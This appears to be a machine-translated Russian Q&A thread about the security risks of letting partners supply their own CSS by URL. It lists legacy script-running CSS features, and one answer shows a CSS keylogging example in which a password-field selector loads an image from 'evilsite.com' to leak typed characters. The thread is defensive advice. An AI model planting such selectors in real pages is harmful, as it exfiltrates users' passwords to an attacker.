Моя цель - разрешить партнерам создавать свои целевые страницы с их собственным внешним видом, передавая нам ссылку на их таблицу стилей в параметре URL. Существуют ли проблемы совместимости с безопасностью или браузером при загрузке стороннего CSS с помощью JavaScript?
Есть ли опасность при загрузке внешнего, стороннего CSS?
Ответ 1
В файлах CSS.
expressions(code)
, behavior:url()
, url(javascript:code)
и -moz-binding:url()
все имеют потенциальные проблемы безопасности.
Поведение не может быть перекрестным доменом, чтобы устранить некоторую угрозу, но, как правило, вам нужно как-то дезинформировать его.
Если вы разрешаете пользователю ссылаться на CSS на внешних серверах, нет надежного способа проверки. Сервер может проверить файл CSS на сервере, чтобы убедиться, что нет ничего вредоносного, но что, если пользователь изменит таблицу стилей? Вам придется постоянно проверять таблицу стилей. Также сервер может потенциально передавать различную информацию на IP-адрес серверов, пытаясь обойти метод проверки.
Честно говоря, я бы посоветовал хранить CSS на вашем собственном сервере. Простой запуск он выдает парсер регулярных выражений, который удаляет возможный вредоносный код сверху.
Ответ 2
Пока вы проверяете его как-то, вы должны быть хорошими.
ЗОЛОТОЕ ПРАВИЛО: НЕ доверяйте пользователю
Ответ 3
Если пользователь является единственным человеком, у которого есть возможность увидеть свой собственный CSS, тогда на самом деле нет никакой опасности. Они могут испортить собственный опыт на вашем сайте, но не другие.
Однако, если их пользовательский CSS отображается другим пользователям, они могут потенциально использовать его, чтобы полностью испортить стили вашего сайта по своему усмотрению. Например, они могут просто захватить id
некоторых важных элементов из вашего источника и переопределить их, чтобы скрыть их.
Конечно, до тех пор, пока вы будете осторожны и должным образом дезинфицируете все входные данные пользователя, вы не должны сталкиваться с какими-либо серьезными проблемами.
Ответ 4
CSS-выражения работают только в IE 6-7, но позволяют использовать встроенный JS (как правило, для вычисления значения для установки).
Например:
/* set bgcolor based on time */
div.title {
background-color: expression( (new Date()).getHours() % 2 ? "#B8D4FF" : "#F08A00" );
}
однако, это потенциально может быть использовано для совершения вредоносных действий, я бы сказал, что это, по крайней мере, стоит какого-то тестирования.
Ответ 5
В случае, если третья сторона взломана и злоумышленники заменят доброкачественный css злым css, вы можете быть уязвимы для:
- css-эксфильтрационные атаки *
- целевые удары, изменяющие пользовательский интерфейс страницы, которые опасным образом меняют смысл. Например, добавление дополнительного 1 перед дозировкой лекарства, делая его смертельной дозой вместо лечения. Или спрятать кнопку оформления заказа, затрудняя покупку товаров на вашем сайте.
- нежелательный контент или случайная реклама, спам
- устаревшие браузеры, выполняющие сценарии через
expressions(code)
,behavior:url()
,url(javascript:code)
и-moz-binding:url()
. Это, вероятно, устарело, но все еще может быть актуально в редких случаях. - любая атака css еще не разработана (если доверять стороннему css, то вы будете готовы к любым и всем будущим нулевым дням css, если третья сторона будет атакована)
Нижняя строка
Загрузка сторонних css несколько опасна, так как вы увеличиваете поверхность атаки в случае нападения на третье лицо. Если возможно, храните известную, безопасную версию стороннего css на своем собственном сервере и обслуживайте его (в основном, конвертируйте в сторонний).
* Эксфильтрационная атака CSS - см. https://github.com/maxchehab/CSS-Keylogging. Например, этот css сообщит злоумышленнику, что пользователь набрал символ "a" в поле пароля.
input[type="password"][value$="a"] {
background-image: url("http://evilsite.com/a");
}
ссылки: https://jakearchibald.com/2018/third-party-css-is-not-safe/
смотрите также: https://security.stackexchange.com/info/37832/css-based-attacks